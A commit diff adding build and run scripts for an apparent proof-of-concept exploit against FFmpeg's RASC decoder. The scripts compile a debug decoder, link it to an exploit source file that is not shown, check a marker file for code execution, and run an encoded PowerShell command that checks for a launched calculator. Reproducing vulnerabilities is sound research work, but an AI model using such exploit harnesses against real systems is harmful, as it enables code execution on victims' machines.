Add FFmpeg RASC DLTA calc PoC

ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh

@@ -0,0 +1,36 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+src="${1:?usage: build_from_checkout.sh /path/to/ffmpeg-checkout [build-dir] [output-bin]}"
+build="${2:-/tmp/ffmpeg-rasc-dlta-build}"
+out="${3:-./ffmpeg_rasc_dlta_calc_poc}"
+root="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
+jobs="${JOBS:-$(getconf _NPROCESSORS_ONLN 2>/dev/null || echo 4)}"
+cc="${CC:-gcc}"
+
+mkdir -p "$build"
+cd "$build"
+
+"$src/configure" \
+  --enable-debug \
+  --disable-doc \
+  --disable-stripping \
+  --disable-x86asm \
+  --disable-programs \
+  --disable-autodetect \
+  --disable-everything \
+  --enable-zlib \
+  --enable-decoder=rasc
+
+make -j"$jobs" libavcodec/libavcodec.a libavutil/libavutil.a
+
+"$cc" -g -O0 \
+  -I"$build" \
+  -I"$src" \
+  "$root/poc/ffmpeg_rasc_dlta_calc_poc.c" \
+  "$build/libavcodec/libavcodec.a" \
+  "$build/libavutil/libavutil.a" \
+  -lz -lm -pthread -ldl \
+  -o "$out"
+
+printf '%s\n' "$out"

ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh

@@ -0,0 +1,20 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+bin="${1:-./ffmpeg_rasc_dlta_calc_poc}"
+marker="/tmp/ffmpeg_rasc_exec_demo"
+
+rm -f "$marker"
+"$bin"
+sleep 2
+
+if [ -f "$marker" ]; then
+  echo "marker:present"
+else
+  echo "marker:missing"
+  exit 1
+fi
+
+if command -v powershell.exe >/dev/null 2>&1; then
+  powershell.exe -NoProfile -EncodedCommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAQwBhAGwAYwB1AGwAYQB0AG8AcgBBAHAAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAAUAByAG8AYwBlAHMAcwBOAGEAbQBlACwASQBkACwAUwB0AGEAcgB0AFQAaQBtAGUA 2>/dev/null || true
+fi